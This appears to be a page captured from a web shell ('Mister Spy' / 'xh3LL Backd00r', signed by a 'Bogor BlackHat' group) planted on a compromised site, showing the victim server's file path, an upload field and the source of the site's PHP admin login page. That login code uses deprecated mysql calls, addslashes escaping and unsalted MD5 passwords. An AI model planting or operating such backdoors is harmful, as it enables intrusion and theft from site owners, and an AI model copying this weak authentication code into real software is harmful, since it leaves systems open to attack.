Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/n_e_cross/MMR/
Upload File :
Current File : /home/caballoscriollos/www/n_e_cross/MMR/index.php

<?php 

require_once('../../Connections/cnx.php');

$loginFormAction = $_SERVER['PHP_SELF'];
if (isset($accesscheck)) 
{
  	$GLOBALS['PrevUrl'] = $accesscheck;
  	session_register('PrevUrl');
}

if (isset($_POST['user'])) 
{
  	$loginUsername				= $_POST['user'];
  	$password					= $_POST['pass'];
  	$MM_fldUserAuthorization 	= "nivelID";
  	$MM_redirectLoginSuccess 	= "enviador_pregunta.php";
  	$MM_redirectLoginFailed 	= "index.php";
  	$MM_redirecttoReferrer 		= false;
  	
  	$LoginRS__query = sprintf("SELECT administrador, password, administradorID FROM administradores WHERE administrador='%s' AND password='%s'",
  	
	get_magic_quotes_gpc() ? $loginUsername : addslashes($loginUsername), get_magic_quotes_gpc() ? md5($password) : addslashes(md5($password))); 
   
  	$LoginRS 			= mysql_query($LoginRS__query) or die(mysql_error());
  	$loginFoundUser 	= mysql_num_rows($LoginRS);

  	if ($loginFoundUser) 
  	{  
		$loginStrGroup  = mysql_result($LoginRS,0,'nivelID');
		$loginStrGerente  = mysql_result($LoginRS,0,'gerenteAsociado');
		$loginStrid  = mysql_result($LoginRS,0,'administradorID');
		
		//declare two session variables and assign them
		$GLOBALS['MM_Username'] 	= $loginUsername;
		$GLOBALS['MM_ID'] 			= $loginStrid;
	
		//register the session variables
		session_register("MM_Username");
		session_register("MM_ID");
	
		if (isset($_SESSION['PrevUrl']) && false) 
		{
		  	$MM_redirectLoginSuccess = $_SESSION['PrevUrl'];	
    	}
    
		header("Location: " . $MM_redirectLoginSuccess );
  	}
  	else 
	{
    	header("Location: ". $MM_redirectLoginFailed );
  	}
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>.: Caballos Criollos :.</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.style1 {color: #FFFFFF}
.style3 {	color: #FFFFFF;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
}
.style4 {font-size: 12px}
-->
</style>
<link href="/stylus.css" rel="stylesheet" type="text/css">
</head>

<body>
<p>&nbsp;</p>
<p>&nbsp;</p>
<TABLE width="257" border=0 
      align=center cellpadding="0" cellspacing="0" class="bordeGris" style="BORDER-COLLAPSE: collapse">
  <FORM action="<?php echo $loginFormAction; ?>" id=loginfrm name=loginfrm method=POST target="_top">
    <TBODY>
      <TR>
        <TD colspan="3" align=left>&nbsp;</TD>
      </TR>
      <TR>
        <TD colspan="2" align=left>&nbsp;</TD>
        <TD>&nbsp;</TD>
      </TR>
      <TR>
        <TD align=left><div align="right">
          <p>Usuario:</p>
        </div></TD>
        <TD width=10 align=left>&nbsp;</TD>
        <TD width=167>
          <INPUT id=user name=user>
        </TD>
      </TR>
      <TR>
        <TD width=44 align=left>
          <P align=right>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<STRONG>Contrase&ntilde;a:</STRONG></P></TD>
        <TD width=10 align=left>&nbsp;</TD>
        <TD width=167><input name="pass" type="password" id="pass" value="">
        </TD>
      </TR>
      <TR>
        <TD colSpan=3 align=middle>&nbsp;</TD>
      </TR>
      <TR>
        <TD colSpan=3 align=middle>
          <div align="center">
            <p>
              <INPUT id=Submit1 type=submit value="Aceptar" name=Submit1>
              <INPUT name="reset" type=reset value="Cancelar">
&nbsp; </p>
        </div></TD>
      </TR>
      <TR>
        <TD colSpan=3 align=middle><p>&nbsp;</p></TD>
      </TR>
  </FORM>
</TABLE>
</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat